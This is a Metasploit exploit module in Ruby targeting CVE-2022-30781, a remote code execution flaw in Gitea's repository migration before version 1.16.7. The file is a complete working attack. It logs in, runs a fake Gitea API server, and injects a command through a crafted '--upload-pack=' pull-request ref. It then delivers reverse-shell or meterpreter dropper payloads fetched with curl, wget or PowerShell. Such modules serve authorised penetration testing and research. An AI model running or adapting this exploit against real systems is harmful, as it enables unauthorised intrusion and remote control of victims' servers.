##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitea
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005', # Original PoC
'li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix linux win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %i[curl wget echo printf],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::URIPATH' => '/payloads'
}
}
]
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(3000),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
])
end
def cleanup
super
return if @uid.nil? || @migrate_repo_created.nil?
[@repo_name, @migrate_repo_name].each do |name|
res = gitea_remove_repo(repo_path(name))
if res.nil? || res&.code == 200
vprint_warning("Unable to remove repository '#{name}'")
elsif res&.code == 404
vprint_warning("Repository '#{name}' not found, possibly already deleted")
else
vprint_status("Successfully cleanup repository '#{name}'")
end
end
end
def check
return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?
v = get_gitea_version
gitea_login(datastore['username'], datastore['password'])
if Rex::Version.new(v) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{v}")
end
CheckCode::Safe("Version detected: #{v}")
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e
return CheckCode::Unknown(e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e
return CheckCode::Detected(e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,
Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
return CheckCode::Safe(e.message)
end
def primer
[
'/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
end
def execute_command(cmd, _opts = {})
if target['Type'] == :win_dropper
# Git on Windows will pass the command to `sh.exe` and not `cmd`.
# This requires some adjustments:
# - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`
# - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.
# - Backslashes need to be escaped with `sh.exe`
cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }
end
vprint_status("Executing command: #{cmd}")
@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = repo_path(@migrate_repo_name)
vprint_status("Creating repository \"#{@repo_name}\"")
@uid = gitea_create_repo(@repo_name)
vprint_good('Repository created')
vprint_status('Migrating repository')
clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"
auth_token = rand_text_alphanumeric(6..15)
@migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)
@p = cmd
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,
Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,
Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
fail_with(Failure::UnexpectedReply, e.message)
end
def exploit
unless datastore['AutoCheck']
fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?
gitea_login(datastore['username'], datastore['password'])
end
start_service
primer
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"
execute_cmdstager(background: true, delay: 1)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
fail_with(Failure::NoAccess, e.message)
end
def repo_path(name)
"#{datastore['username']}/#{name}"
end
def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
max_response_items: 50, default_paging_num: 30,
default_git_trees_per_page: 1000, default_max_blob_size: 10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",
owner: { login: datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
base: {
ref: 'master'
},
head: {
ref: "--upload-pack=#{@p}",
repo: {
clone_url: './',
owner: { login: 'master' }
}
},
updated_at: '2001-01-01T05:00:00+01:00',
user: {}
}
]
send_response(cli, data.to_json)
when datastore['CMDSTAGER::URIPATH']
super
end
end
end
